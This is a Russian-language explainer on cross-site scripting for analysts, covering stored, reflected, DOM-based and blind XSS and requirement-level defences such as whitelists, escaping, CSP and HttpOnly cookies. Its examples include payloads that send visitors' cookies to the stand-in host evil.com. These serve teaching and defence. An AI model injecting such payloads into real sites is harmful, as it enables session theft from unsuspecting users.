Перейти к основному содержимому

XSS-уязвимость

XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript). Код выполняется в браузере другого пользователя (жертвы).

Простыми словами: хакер находит место, куда можно «подложить» свой скрипт, а когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени.

На этапе проектирования требований можно создать условие для уязвимости (например, разрешить любые символы в поле комментария). Или предотвратить её (чётко указать, какие символы и разметка допустимы). XSS — проблема спецификации.

Отличие от других атак

  • SQL‑инъекция — атака на базу данных (внедрение SQL‑команд).
  • Command Injection — внедрение команд в ОС сервера.
  • CSRF — заставляет браузер жертвы отправить нежеланный запрос на сайт, где она уже авторизована.

Отличаются от XSS тем, что не исполняют код в браузере жертвы. XSS всегда работает в контексте уязвимого сайта в браузере пользователя.

Как работает XSS

  1. Злоумышленник находит поле ввода (поиск, комментирование, имя профиля).
  2. Вводит туда вредоносную строку, например:
    <script>alert('Ваши куки: ' + document.cookie)</script>
  3. Приложение сохраняет или сразу выводит эту строку без обработки.
  4. Пользователь открывает страницу → его браузер видит эту строку как настоящий HTML код и выполняет её.
  5. Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы.

Ключевое условие: приложение показывает пользовательские данные так, как будто это безопасный код страницы, а не обычный текст.

Типы XSS

1. Хранимая (Stored XSS) — самая опасная

Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу.

Пример:
Форма отзывов. Хакер пишет отзыв:

Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>

Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.

Защита:

  • В требованиях к полю, которое будет отображаться у других пользователей, прописывать ограничения.
  • Если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками).

2. Отражённая (Reflected XSS)

Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке.

Пример:
Сайт показывает поисковый запрос: «Вы искали: [запрос]».
Хакер отправляет жертве ссылку:
https://site.com/search?q=<script>alert(1)</script>
Жертва кликает → скрипт выполняется.

Защита:
В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML. Даже для сообщений об ошибке.

3. DOM‑based XSS (без участия сервера)

Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет их в HTML.

Пример (уязвимый код на странице):
document.getElementById('message').innerHTML = location.hash.substring(1)

Хакерская ссылка:
https://site.com/#<img src=x onerror=alert(1)>

Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код.

Защита:
В клиентских скриптах не использовать innerHTML с пользовательскими данными, использовать безопасные методы (textContent, setAttribute).

4. Слепая XSS (Blind XSS)

Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора.

Пример:
Форма обратной связи. Поле «Имя»: <script>fetch('https://evil.com?cookie='+document.cookie)</script>
Сам клиент видит своё имя без проблем (экранирование на публичной части есть).
Но оператор в админ‑панели смотрит все заявки — и там экранирования нет. Скрипт ворует сессию оператора.

Вывод: требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние.

Как предотвратить XSS?

Спецификация каждого поля ввода

В описании поля указать:

  • Тип данных, макс. длина.
  • Допустимые символы (белый список, а не чёрный).
  • Разрешён ли HTML. Если да — какой именно набор тегов.
  • Валидация на сервере (клиентскую легко обойти).

Пример для поля «Имя пользователя» (без HTML):

  • Тип: строка
  • Длина: 1–50
  • Символы: буквы, пробел, дефис
  • HTML: запрещён
  • Ошибка: «Только буквы, пробелы и дефисы»

Пример для поля «Комментарий» (с форматированием):

  • HTML: разрешён ограниченно
  • Допустимые теги: <b>, <i>, <a>, <ul>, <li>
  • Атрибуты: href — только http://, https://, mailto://
  • Перед сохранением — санация на сервере

Нефункциональные требования по XSS

  • Все данные от пользователя, из URL, заголовков, внешних API при выводе на веб‑страницу проходят контекстное экранирование (для HTML, атрибутов, JavaScript — своё правило).
  • API не возвращает в теле ответа непроверенный HTML/JavaScript без явного Content-Type: text/plain или без экранирования.
  • Заголовок Content‑Security‑Policy запрещает инлайн‑скрипты и eval() (политика script-src 'self').
  • Сессионные cookie имеют флаг HttpOnly (недоступны для JavaScript).

Если нужен именно HTML в поле

В случае, когда нужно форматирование (жирный, курсив, ссылки). В этом случае нельзя просто экранировать — уничтожится разметка.

Решение:

  • Использовать санацию (например, библиотека DOMPurify), которая вырезает опасные теги и атрибуты, но оставляет безопасные.
  • Санация обязательна на сервере — клиентскую легко обойти.
  • В требованиях чётко перечислить разрешённые теги и атрибуты (например, <a> только с href по белому списку протоколов).

Материалы

  1. Что такое XSS-атака и как с ней бороться
  2. XSS: нападение и защита
  3. Что такое XSS-уязвимости и как защититься от них с помощью Content Security Policy
  4. Примеры атак XSS и способов их ослабления
  5. XSS-атака без секретов: от простого alert до захвата сессии
  6. Что такое XSS-уязвимость и как тестировщику не пропустить ее
  7. Что такое XSS-уязвимость
  8. Что такое XSS-уязвимость и как тестировщику не пропустить её
  9. Защита от XSS атак: проверенные методы и практики разработчиков
  10. XSS с самого начала
  11. Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов
  12. XSS атакует! Краткий обзор XSS уязвимостей
  13. Эффективный поиск XSS-уязвимостей
  14. XSS: атака и защита с точки зрения C# программирования
  15. В поисках лазеек: гид по DOM Based XSS
  16. Хранимые, отображаемые и DOM-based XSS: выявление и блокирование
  17. Как багхантеру искать XSS-уязвимости через наложение парсеров: исследование Positive Technologies
  18. Обнаружение XSS-уязвимостей (межсайтовый скриптинг) с помощью Python
  19. Неочевидные угрозы: как защититься от атак на десериализацию, XSS и чтение произвольных файлов
  20. BRS-XSS: Новое поколение сканера уязвимостей XSS
  21. Охота за ошибками, Blind-XSS и лисьи хитрости
  22. Ладья на XSS: как я хакнул chess.com детским эксплойтом

Видео

  1. Что такое XSS уязвимость. Тестируем безопасность
  2. САМАЯ ПОПУЛЯРНАЯ УЯЗВИМОСТЬ | XSS
  3. Иван Румак - эффективный поиск XSS уязвимостей
  4. XSS для Начинающих: Типы, Payloads, Практика на OWASP Juice Shop
  5. Пример xss атаки